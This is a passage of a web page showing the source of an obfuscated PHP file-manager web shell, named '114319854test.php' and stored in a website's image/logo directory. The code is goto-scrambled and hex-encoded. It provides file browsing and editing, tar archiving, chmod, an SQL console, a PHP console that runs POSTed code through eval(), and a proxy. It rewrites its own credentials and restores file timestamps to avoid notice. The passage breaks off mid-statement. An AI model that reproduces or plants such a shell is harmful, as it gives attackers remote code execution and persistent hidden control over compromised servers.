Файловый менеджер - Редактировать - /home/u371470799/domains/sacrup.com/public_html/static/img/logo/114319854test.php
Ðазад
<?php goto Zdcad; OYxVf: $lang = json_decode($translation, true); goto EN1k6; nratz: if (isset($_POST["\x73\x71\154\162\x75\156"]) && !empty($fm_config["\x65\156\x61\x62\154\145\x5f\163\x71\154\137\x63\157\156\x73\157\154\x65"])) { $res = empty($_POST["\163\x71\154"]) ? '' : $_POST["\x73\161\x6c"]; $res_lng = "\163\x71\x6c"; } elseif (isset($_POST["\x70\150\x70\x72\165\x6e"]) && !empty($fm_config["\x65\156\x61\142\154\x65\x5f\160\150\x70\x5f\x63\x6f\x6e\x73\157\x6c\145"])) { $res = empty($_POST["\x70\x68\160"]) ? '' : $_POST["\x70\x68\x70"]; $res_lng = "\160\150\160"; } goto iUfnC; JYqzq: function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if (@is_dir($file) && $rec) { $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . "\x2f" . $el, $val, true); } } return $res; } goto m_eL8; yjvkq: $mtime = explode("\x20", microtime()); goto s5Nxg; Dp2ST: ?> .img{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=)}@media screen and (max-width:720px){table{display:block}#fm_table td{display:inline;float:left}#fm_table tbody td:first-child{width:100%;padding:0}#fm_table tbody tr:nth-child(2n+1){background-color:#efefef}#fm_table tbody tr:nth-child(2n){background-color:#dee3e7}#fm_table tr{display:block;float:left;clear:left;width:100%}#header_table .row2,#header_table .row3{display:inline;float:left;width:100%;padding:0}#header_table table td{display:inline;float:left}}</style></head><body><?php goto TOnVc; kWqrA: if (!empty($fm_config["\163\x68\x6f\x77\x5f\x70\x68\160\x5f\x69\156\151"])) { echo "\40\x7c\x20" . php_ini_loaded_file(); } goto iY5iz; Z6f3w: if (!empty($fm_config["\x73\150\157\167\x5f\x78\154\x73"]) && !empty($link)) { echo "\40\x7c\x20\74\x61\x20\150\162\x65\x66\75\42\152\141\x76\141\x73\x63\x72\151\160\x74\72\40\166\157\x69\144\x28\60\51\42\40\x6f\x6e\x63\x6c\x69\143\x6b\75\x22\x76\141\162\x20\157\x62\x6a\x20\x3d\40\x6e\x65\167\40\164\x61\142\x6c\x65\x32\x45\x78\143\145\x6c\50\51\x3b\x20\x6f\x62\x6a\56\x43\162\x65\x61\x74\x65\105\x78\x63\145\154\x53\x68\145\x65\164\50\x27\x66\x6d\137\x74\x61\x62\154\x65\x27\54\x27\145\x78\160\x6f\162\x74\47\51\x3b\42\40\164\x69\164\154\145\x3d\42" . __("\x44\x6f\167\156\x6c\x6f\x61\144") . "\40\170\154\x73\x22\x3e\170\x6c\x73\74\57\x61\76"; } goto jwZ9Q; WCS2z: $default_language = "\162\x75"; goto q06X4; LaT3t: $path = empty($_REQUEST["\160\141\x74\150"]) ? $path = realpath("\56") : realpath($_REQUEST["\x70\141\x74\150"]); goto qX_4l; k7eyZ: class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct() { if (!isset($this->errors)) { $this->errors = array(); } } function createArchive($file_list) { $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) { $newArchive = false; } else { $newArchive = true; } if ($newArchive) { if (!$this->openWrite()) { return false; } } else { if (filesize($this->archive_name) == 0) { return $this->openWrite(); } if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name . "\56\x74\155\160")) { $this->errors[] = __("\x43\x61\x6e\x6e\157\x74\x20\162\x65\156\x61\x6d\x65") . "\x20" . $this->archive_name . __("\x20\164\157\40") . $this->archive_name . "\56\x74\x6d\x70"; return false; } $tmpArchive = gzopen($this->archive_name . "\x2e\x74\x6d\160", "\162\142"); if (!$tmpArchive) { $this->errors[] = $this->archive_name . "\x2e\164\x6d\x70\x20" . __("\151\163\40\x6e\157\x74\x20\162\145\141\144\x61\x62\154\x65"); rename($this->archive_name . "\x2e\164\x6d\x70", $this->archive_name); return false; } if (!$this->openWrite()) { rename($this->archive_name . "\56\164\155\160", $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)) { do { $binaryData = pack("\141\65\61\62", $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name . "\56\164\155\160"); } else { $this->tmp_file = fopen($this->archive_name, "\x72\x2b\142"); if (!$this->tmp_file) { return false; } } } if (isset($file_list) && is_array($file_list)) { if (count($file_list) > 0) { $result = $this->packFileArray($file_list); } } else { $this->errors[] = __("\116\157\40\146\151\x6c\145") . __("\40\x74\x6f\40") . __("\101\x72\x63\150\x69\x76\145"); } if ($result && is_resource($this->tmp_file)) { $binaryData = pack("\141\x35\61\62", ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result) { $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path) { $fileName = $this->archive_name; if (!$this->isGzipped) { if (file_exists($fileName)) { if ($fp = fopen($fileName, "\x72\x62")) { $data = fread($fp, 2); fclose($fp); if ($data == "\134\63\x37\x5c\x32\61\63") { $this->isGzipped = true; } } } elseif (substr($fileName, -2) == "\147\172" or substr($fileName, -3) == "\164\x67\x7a") { $this->isGzipped = true; } } $result = true; if ($this->isGzipped) { $this->tmp_file = gzopen($fileName, "\162\142"); } else { $this->tmp_file = fopen($fileName, "\162\142"); } if (!$this->tmp_file) { $this->errors[] = $fileName . "\x20" . __("\x69\x73\40\156\x6f\164\40\x72\x65\141\144\x61\142\154\145"); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors($message = '') { $Errors = $this->errors; if (count($Errors) > 0) { if (!empty($message)) { $message = "\x20\50" . $message . "\51"; } $message = __("\105\162\x72\x6f\162\40\x6f\143\x63\x75\x72\x72\x65\x64") . $message . "\x3a\40\x3c\x62\162\57\76"; foreach ($Errors as $value) { $message .= $value . "\74\x62\x72\x2f\x3e"; } return $message; } else { return ''; } } function packFileArray($file_array) { $result = true; if (!$this->tmp_file) { $this->errors[] = __("\111\156\x76\141\x6c\151\x64\40\x66\151\x6c\x65\x20\x64\145\x73\x63\162\x69\x70\x74\157\x72"); return false; } if (!is_array($file_array) || count($file_array) <= 0) { return true; } for ($i = 0; $i < count($file_array); $i++) { $filename = $file_array[$i]; if ($filename == $this->archive_name) { continue; } if (strlen($filename) <= 0) { continue; } if (!file_exists($filename)) { $this->errors[] = __("\x4e\157\40\146\151\x6c\x65") . "\40" . $filename; continue; } if (!$this->tmp_file) { $this->errors[] = __("\x49\156\166\x61\x6c\x69\x64\x20\x66\x69\154\145\40\144\145\163\x63\162\151\x70\164\x6f\162"); return false; } if (strlen($filename) <= 0) { $this->errors[] = __("\x46\151\154\x65\156\x61\x6d\145") . "\x20" . __("\x69\x73\40\x69\x6e\x63\x6f\x72\x72\x65\143\164"); return false; } $filename = str_replace("\134", "\57", $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)) { if (($file = fopen($filename, "\x72\x62")) == 0) { $this->errors[] = __("\115\x6f\x64\145\x20") . __("\151\163\x20\x69\156\143\x6f\162\x72\x65\143\164"); } if ($this->file_pos == 0) { if (!$this->writeHeader($filename, $keep_filename)) { return false; } } while (($buffer = fread($file, 512)) != '') { $binaryData = pack("\x61\x35\x31\x32", $buffer); $this->writeBlock($binaryData); } fclose($file); } else { $this->writeHeader($filename, $keep_filename); } if (@is_dir($filename)) { if (!($handle = opendir($filename))) { $this->errors[] = __("\x45\x72\x72\x6f\x72") . "\x3a\x20" . __("\104\x69\x72\145\143\x74\x6f\x72\x79\40") . $filename . __("\x69\x73\x20\x6e\x6f\x74\x20\162\145\x61\144\141\142\154\145"); continue; } while (false !== ($dir = readdir($handle))) { if ($dir != "\56" && $dir != "\56\56") { $file_array_tmp = array(); if ($filename != "\x2e") { $file_array_tmp[] = $filename . "\x2f" . $dir; } else { $file_array_tmp[] = $dir; } $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path) { $path = str_replace("\x5c", "\x2f", $path); if ($path == '' || substr($path, 0, 1) != "\57" && substr($path, 0, 3) != "\56\56\x2f" && !strpos($path, "\x3a")) { $path = "\x2e\57" . $path; } clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0) { if (!$this->readHeader($binaryData, $header)) { return false; } if ($header["\x66\x69\x6c\x65\x6e\141\x6d\145"] == '') { continue; } if ($header["\164\x79\x70\145\146\x6c\x61\147"] == "\114") { $filename = ''; $decr = floor($header["\163\x69\172\145"] / 512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header["\163\x69\x7a\x65"] % 512) != 0) { $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) { return false; } else { $header["\146\x69\154\145\156\x61\155\145"] = $filename; } return true; } if ($path != "\x2e\x2f" && $path != "\57") { while (substr($path, -1) == "\x2f") { $path = substr($path, 0, strlen($path) - 1); } if (substr($header["\146\x69\x6c\x65\156\x61\155\x65"], 0, 1) == "\57") { $header["\146\151\x6c\x65\x6e\141\x6d\145"] = $path . $header["\146\x69\154\x65\156\141\155\x65"]; } else { $header["\146\x69\x6c\x65\156\x61\x6d\145"] = $path . "\x2f" . $header["\x66\151\154\x65\x6e\141\x6d\145"]; } } if (file_exists($header["\146\151\154\x65\156\x61\x6d\x65"])) { if (@is_dir($header["\x66\151\x6c\x65\x6e\x61\155\145"]) && $header["\164\171\160\145\x66\x6c\141\147"] == '') { $this->errors[] = __("\x46\151\154\145\x20") . $header["\146\x69\x6c\x65\156\141\x6d\145"] . __("\x20\141\x6c\x72\145\x61\x64\x79\40\x65\x78\x69\163\164\x73") . __("\40\141\163\x20\146\x6f\154\144\145\162"); return false; } if (is_file($header["\146\x69\x6c\145\x6e\x61\x6d\145"]) && $header["\164\x79\x70\145\x66\x6c\x61\x67"] == "\65") { $this->errors[] = __("\103\x61\x6e\156\157\164\x20\x63\x72\145\x61\x74\145\40\144\151\162\x65\x63\x74\x6f\162\171") . "\x2e\x20" . __("\x46\x69\x6c\x65\x20") . $header["\x66\151\154\145\x6e\141\x6d\145"] . __("\x20\x61\154\162\x65\x61\x64\171\40\x65\x78\151\163\164\x73"); return false; } if (!is_writeable($header["\x66\151\154\145\x6e\141\x6d\145"])) { $this->errors[] = __("\x43\x61\x6e\x6e\x6f\x74\40\167\162\x69\x74\x65\40\164\157\x20\146\151\x6c\x65") . "\56\x20" . __("\106\151\x6c\x65\40") . $header["\x66\151\154\145\156\141\155\x65"] . __("\x20\141\x6c\x72\x65\x61\x64\171\40\x65\x78\x69\163\x74\x73"); return false; } } elseif ($this->dirCheck($header["\x74\x79\x70\145\146\154\141\x67"] == "\x35" ? $header["\146\151\154\145\x6e\x61\155\145"] : dirname($header["\x66\151\x6c\145\x6e\141\155\145"])) != 1) { $this->errors[] = __("\x43\x61\156\156\157\x74\x20\143\x72\x65\x61\164\145\40\x64\151\x72\x65\143\164\157\x72\171") . "\40" . __("\x20\x66\157\x72\x20") . $header["\146\151\154\x65\156\141\x6d\145"]; return false; } if ($header["\164\x79\160\x65\x66\x6c\141\147"] == "\65") { if (!file_exists($header["\146\151\x6c\x65\x6e\141\155\x65"])) { if (!mkdir($header["\x66\x69\154\x65\156\141\x6d\x65"], 511)) { $this->errors[] = __("\103\141\156\156\x6f\164\x20\x63\162\145\141\x74\x65\40\144\x69\162\x65\x63\164\157\162\171") . "\40" . $header["\146\151\x6c\145\x6e\141\155\145"]; return false; } } } else { if (($destination = fopen($header["\146\151\154\x65\156\x61\x6d\x65"], "\167\x62")) == 0) { $this->errors[] = __("\103\141\x6e\x6e\x6f\x74\x20\x77\x72\x69\164\145\x20\x74\157\40\x66\151\154\x65") . "\x20" . $header["\x66\151\x6c\x65\156\141\x6d\x65"]; return false; } else { $decr = floor($header["\163\x69\x7a\x65"] / 512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if ($header["\163\151\172\145"] % 512 != 0) { $content = $this->readBlock(); fwrite($destination, $content, $header["\x73\x69\x7a\145"] % 512); } fclose($destination); touch($header["\146\x69\x6c\145\156\141\155\145"], $header["\x74\151\x6d\145"]); } clearstatcache(); if (filesize($header["\x66\151\x6c\145\x6e\141\155\145"]) != $header["\163\151\x7a\145"]) { $this->errors[] = __("\x53\151\172\x65\40\157\146\x20\x66\151\154\145") . "\40" . $header["\x66\151\154\x65\156\141\x6d\x65"] . "\40" . __("\x69\163\x20\x69\x6e\x63\157\x72\162\145\x63\x74"); return false; } } if (($file_dir = dirname($header["\x66\151\x6c\x65\156\x61\155\x65"])) == $header["\146\x69\x6c\x65\156\x61\155\x65"]) { $file_dir = ''; } if (substr($header["\x66\x69\x6c\x65\x6e\x61\155\145"], 0, 1) == "\57" && $file_dir == '') { $file_dir = "\x2f"; } $this->dirs[] = $file_dir; $this->files[] = $header["\x66\x69\x6c\145\x6e\141\155\x65"]; } return true; } function dirCheck($dir) { $parent_dir = dirname($dir); if (@is_dir($dir) or $dir == '') { return true; } if ($parent_dir != $dir and $parent_dir != '' and !$this->dirCheck($parent_dir)) { return false; } if (!mkdir($dir, 511)) { $this->errors[] = __("\x43\141\x6e\156\157\x74\40\143\x72\x65\141\x74\x65\40\x64\151\x72\145\x63\x74\x6f\x72\x79") . "\40" . $dir; return false; } return true; } function readHeader($binaryData, &$header) { if (strlen($binaryData) == 0) { $header["\x66\151\154\145\x6e\x61\x6d\145"] = ''; return true; } if (strlen($binaryData) != 512) { $header["\x66\x69\154\x65\x6e\x61\155\x65"] = ''; $this->__("\x49\156\x76\x61\154\x69\144\x20\142\x6c\x6f\x63\153\x20\x73\151\172\x65") . "\72\40" . strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($binaryData, $i, 1)); } for ($i = 148; $i < 156; $i++) { $checksum += ord("\x20"); } for ($i = 156; $i < 512; $i++) { $checksum += ord(substr($binaryData, $i, 1)); } $unpack_data = unpack("\x61\x31\x30\60\x66\x69\154\x65\x6e\x61\x6d\145\x2f\141\x38\155\x6f\x64\145\x2f\141\x38\165\163\145\x72\x5f\151\144\57\141\70\x67\162\x6f\165\160\x5f\151\x64\57\x61\61\x32\x73\x69\172\145\57\141\61\62\x74\151\x6d\145\57\141\x38\143\x68\145\x63\153\x73\x75\x6d\x2f\x61\61\x74\171\x70\145\146\x6c\x61\x67\x2f\141\x31\x30\60\154\x69\156\153\x2f\141\66\x6d\x61\x67\x69\x63\57\x61\62\166\145\x72\163\x69\157\156\x2f\141\x33\x32\x75\x6e\x61\155\x65\x2f\141\x33\x32\147\x6e\x61\155\x65\x2f\x61\70\x64\145\166\155\x61\x6a\x6f\x72\57\x61\70\144\x65\x76\155\x69\x6e\157\x72", $binaryData); $header["\143\x68\145\x63\153\x73\x75\155"] = OctDec(trim($unpack_data["\143\x68\x65\143\x6b\x73\x75\x6d"])); if ($header["\143\150\x65\143\153\163\165\x6d"] != $checksum) { $header["\146\151\x6c\145\x6e\x61\x6d\x65"] = ''; if ($checksum == 256 && $header["\143\150\145\143\153\x73\165\155"] == 0) { return true; } $this->errors[] = __("\x45\162\x72\x6f\162\x20\x63\150\x65\x63\x6b\163\165\155\x20\146\157\162\x20\146\x69\x6c\145\x20") . $unpack_data["\146\x69\154\x65\156\141\x6d\145"]; return false; } if (($header["\164\x79\x70\145\146\154\x61\x67"] = $unpack_data["\x74\x79\x70\145\146\154\141\x67"]) == "\65") { $header["\163\x69\x7a\145"] = 0; } $header["\146\151\154\x65\156\x61\x6d\x65"] = trim($unpack_data["\146\151\x6c\145\x6e\141\x6d\x65"]); $header["\x6d\157\x64\x65"] = OctDec(trim($unpack_data["\x6d\157\x64\145"])); $header["\165\163\x65\162\x5f\x69\144"] = OctDec(trim($unpack_data["\165\x73\x65\162\137\151\x64"])); $header["\x67\162\x6f\165\x70\137\151\x64"] = OctDec(trim($unpack_data["\147\x72\157\165\x70\x5f\151\144"])); $header["\163\x69\x7a\145"] = OctDec(trim($unpack_data["\x73\151\172\145"])); $header["\x74\x69\x6d\145"] = OctDec(trim($unpack_data["\164\x69\x6d\x65"])); return true; } function writeHeader($filename, $keep_filename) { $packF = "\141\x31\60\60\141\70\x61\x38\x61\x38\141\61\x32\x41\x31\62"; $packL = "\141\61\x61\x31\60\60\x61\x36\x61\62\x61\x33\62\141\x33\x32\141\x38\x61\x38\141\x31\65\65\141\x31\x32"; if (strlen($keep_filename) <= 0) { $keep_filename = $filename; } $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99) { $dataFirst = pack($packF, "\56\x2f\x2e\57\x4c\x6f\x6e\x67\114\x69\156\153", 0, 0, 0, sprintf("\45\61\61\x73\40", DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, "\x4c", '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($dataFirst, $i, 1)); } for ($i = 148; $i < 156; $i++) { $checksum += ord("\40"); } for ($i = 156, $j = 0; $i < 512; $i++, $j++) { $checksum += ord(substr($dataLast, $j, 1)); } $this->writeBlock($dataFirst, 148); $checksum = sprintf("\45\66\163\x20", DecOct($checksum)); $binaryData = pack("\x61\x38", $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, $i++ * 512, 512)) != '') { $binaryData = pack("\141\x35\x31\62", $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)) { $typeflag = "\65"; $size = sprintf("\x25\x31\x31\163\x20", DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf("\45\61\61\x73\40", DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf("\x25\66\x73\x20", DecOct(fileperms($filename))), sprintf("\x25\66\x73\40", DecOct($file_info[4])), sprintf("\45\66\x73\x20", DecOct($file_info[5])), $size, sprintf("\45\x31\61\x73", DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($dataFirst, $i, 1)); } for ($i = 148; $i < 156; $i++) { $checksum += ord("\40"); } for ($i = 156, $j = 0; $i < 512; $i++, $j++) { $checksum += ord(substr($dataLast, $j, 1)); } $this->writeBlock($dataFirst, 148); $checksum = sprintf("\45\66\163\x20", DecOct($checksum)); $binaryData = pack("\141\x38", $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite() { if ($this->isGzipped) { $this->tmp_file = gzopen($this->archive_name, "\167\x62\71\x66"); } else { $this->tmp_file = fopen($this->archive_name, "\x77\142"); } if (!$this->tmp_file) { $this->errors[] = __("\x43\x61\x6e\156\x6f\164\40\167\x72\151\164\x65\40\x74\x6f\40\146\151\x6c\x65") . "\x20" . $this->archive_name; return false; } return true; } function readBlock() { if (is_resource($this->tmp_file)) { if ($this->isGzipped) { $block = gzread($this->tmp_file, 512); } else { $block = fread($this->tmp_file, 512); } } else { $block = ''; } return $block; } function writeBlock($data, $length = 0) { if (is_resource($this->tmp_file)) { if ($length === 0) { if ($this->isGzipped) { gzputs($this->tmp_file, $data); } else { fputs($this->tmp_file, $data); } } else { if ($this->isGzipped) { gzputs($this->tmp_file, $data, $length); } else { fputs($this->tmp_file, $data, $length); } } } } function closeTmpFile() { if (is_resource($this->tmp_file)) { if ($this->isGzipped) { gzclose($this->tmp_file); } else { fclose($this->tmp_file); } $this->tmp_file = 0; } } function makeGoodPath($path) { if (strlen($path) > 0) { $path = str_replace("\134", "\x2f", $path); $partPath = explode("\57", $path); $els = count($partPath) - 1; for ($i = $els; $i >= 0; $i--) { if ($partPath[$i] == "\56") { } elseif ($partPath[$i] == "\56\56") { $i--; } elseif ($partPath[$i] == '' and $i != $els and $i != 0) { } else { $result = $partPath[$i] . ($i != $els ? "\x2f" . $result : ''); } } } else { $result = ''; } return $result; } } goto X7jfK; s5Nxg: $totaltime = $mtime[0] + $mtime[1] - $starttime; goto P67xK; P4fOQ: function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "\x3b\40\12\x20\40\xa"; $f = fopen($sqlFileToExecute, "\162\53"); $sqlFile = fread($f, filesize($sqlFileToExecute)); $sqlArray = explode($delimiter, $sqlFile); foreach ($sqlArray as $stmt) { if (strlen($stmt) > 3) { $result = $mysqldb->query($stmt); if (!$result) { $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) { return __("\123\165\x63\143\145\x73\163") . "\x20\342\x80\x94\x20" . $sqlFileToExecute; } else { return $sqlErrorText . "\x3c\142\162\57\x3e" . $stmt; } } goto HLYz5; iZSni: if (!empty($fm_config["\145\156\x61\142\154\x65\x5f\160\x72\157\x78\x79"])) { echo "\x20\x7c\x20\x3c\x61\40\150\x72\145\x66\75\42\77\x70\x72\x6f\x78\x79\x3d\164\162\165\145\x22\x3e\160\162\x6f\170\171\74\x2f\141\x3e"; } goto WJDJs; OTKZp: function fm_link($get, $link, $name, $title = '') { if (empty($title)) { $title = $name . "\40" . basename($link); } return "\x26\x6e\142\x73\160\73\46\156\142\x73\160\x3b\74\x61\40\x68\162\145\x66\x3d\42\77" . $get . "\75" . base64_encode($link) . "\x22\x20\164\x69\164\154\x65\x3d\42" . $title . "\42\76" . $name . "\74\x2f\141\x3e"; } goto aRdFU; aa8NS: function fm_php($string) { $display_errors = ini_get("\x64\151\163\160\154\x61\171\x5f\x65\162\162\x6f\162\x73"); ini_set("\144\151\x73\x70\154\141\171\x5f\x65\162\x72\157\162\x73", "\61"); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set("\x64\151\163\x70\x6c\x61\x79\137\x65\x72\x72\x6f\162\163", $display_errors); return $text; } goto K1J1L; hvBnv: if (isset($_GET["\146\x6d\137\x73\x65\x74\164\151\x6e\147\x73"])) { if (isset($_GET["\146\x6d\137\143\157\156\146\151\147\137\x64\x65\x6c\x65\x74\145"])) { unset($_COOKIE["\146\x6d\x5f\143\x6f\x6e\146\151\147"]); setcookie("\146\x6d\x5f\143\157\x6e\x66\x69\x67", '', time() - 86400 * $auth["\x64\141\171\163\137\x61\x75\x74\150\x6f\x72\151\172\x61\164\x69\157\156"]); header("\114\157\x63\141\164\x69\x6f\x6e\72\x20" . fm_url() . "\x3f\x66\x6d\137\163\145\x74\164\151\x6e\x67\x73\x3d\164\162\x75\145"); die(0); } elseif (isset($_POST["\146\155\x5f\x63\157\156\x66\x69\x67"])) { $fm_config = $_POST["\x66\155\137\143\x6f\156\146\x69\x67"]; setcookie("\x66\x6d\x5f\143\157\156\x66\151\147", serialize($fm_config), time() + 86400 * $auth["\x64\141\x79\x73\x5f\x61\165\x74\150\x6f\x72\x69\172\141\164\151\157\156"]); $_COOKIE["\146\x6d\x5f\143\x6f\156\146\151\147"] = serialize($fm_config); $msg = __("\x53\x65\164\x74\x69\156\147\x73") . "\x20" . __("\144\x6f\156\145"); } elseif (isset($_POST["\x66\155\x5f\154\157\147\151\x6e"])) { if (empty($_POST["\146\x6d\x5f\x6c\x6f\147\151\156"]["\141\165\x74\150\x6f\162\x69\172\x65"])) { $_POST["\146\x6d\x5f\x6c\157\147\x69\156"] = array("\x61\165\x74\x68\x6f\x72\x69\x7a\145" => "\60") + $_POST["\146\x6d\137\x6c\157\x67\x69\156"]; } $fm_login = json_encode($_POST["\x66\x6d\137\x6c\157\x67\x69\156"]); $fgc = file_get_contents(__FILE__); $search = preg_match("\x23\141\165\x74\150\157\162\151\x7a\x61\164\x69\157\x6e\x5b\134\163\x5d\x3f\134\75\x5b\x5c\x73\x5d\77\47\134\x7b\x5c\42\50\56\x2a\x3f\x29\x5c\42\134\x7d\x27\73\x23", $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace("\x7b\42" . $matches[1] . "\x22\x7d", $fm_login, $fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __("\106\151\x6c\x65\40\x75\x70\x64\x61\164\145\144"); if ($_POST["\146\x6d\x5f\x6c\x6f\147\x69\156"]["\154\157\147\x69\156"] != $auth["\154\157\147\151\x6e"]) { $msg .= "\x20" . __("\x4c\x6f\x67\x69\156") . "\x3a\40" . $_POST["\146\155\x5f\154\x6f\x67\151\x6e"]["\154\157\147\x69\x6e"]; } if ($_POST["\146\155\x5f\154\x6f\x67\x69\x6e"]["\x70\x61\x73\163\167\157\162\x64"] != $auth["\x70\x61\163\x73\x77\157\162\144"]) { $msg .= "\x20" . __("\120\x61\163\163\x77\157\162\144") . "\72\x20" . $_POST["\146\155\137\154\x6f\x67\151\156"]["\x70\141\x73\163\x77\x6f\x72\144"]; } $auth = $_POST["\x66\155\137\x6c\157\x67\151\156"]; } else { $msg .= __("\105\x72\x72\157\162\40\157\143\143\165\x72\162\145\144"); } if (!empty($fm_config["\x66\x6d\x5f\x72\x65\163\164\157\162\145\137\x74\151\155\145"])) { touch(__FILE__, $filemtime); } } } elseif (isset($_POST["\164\x70\154\137\x65\x64\x69\164\145\x64"])) { $lng_tpl = $_POST["\x74\160\154\x5f\145\x64\151\164\145\x64"]; if (!empty($_POST[$lng_tpl . "\137\156\141\155\x65"])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl . "\137\x6e\141\x6d\x65"], $_POST[$lng_tpl . "\x5f\x76\x61\154\x75\145"]), JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl . "\137\x6e\145\167\x5f\x6e\141\x6d\x65"])) { $fm_php = json_encode(json_decode(${$lng_tpl . "\x5f\x74\145\155\x70\154\x61\164\145\163"}, true) + array($_POST[$lng_tpl . "\137\x6e\x65\167\137\x6e\141\155\145"] => $_POST[$lng_tpl . "\x5f\x6e\x65\x77\137\166\x61\154\x75\x65"]), JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match("\43" . $lng_tpl . "\137\x74\x65\x6d\x70\154\x61\x74\x65\163\x5b\x5c\x73\135\77\x5c\x3d\133\x5c\163\x5d\x3f\47\x5c\x7b\x5c\x22\x28\x2e\x2a\77\51\x5c\42\x5c\175\47\x3b\x23", $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace("\173\x22" . $matches[1] . "\x22\175", $fm_php, $fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl . "\x5f\x74\x65\x6d\x70\x6c\141\x74\x65\163"} = $fm_php; $msg .= __("\x46\151\154\x65\40\165\160\144\x61\164\145\144"); } else { $msg .= __("\x45\x72\162\157\162\x20\x6f\143\143\165\x72\x72\145\x64"); } if (!empty($fm_config["\146\x6d\137\x72\x65\x73\164\157\x72\x65\x5f\164\151\x6d\x65"])) { touch(__FILE__, $filemtime); } } } else { $msg .= __("\x45\162\162\x6f\162\x20\157\143\143\x75\162\162\x65\x64"); } } } goto vSDEl; EN1k6: if ($lang["\151\144"] != $language) { $get_lang = 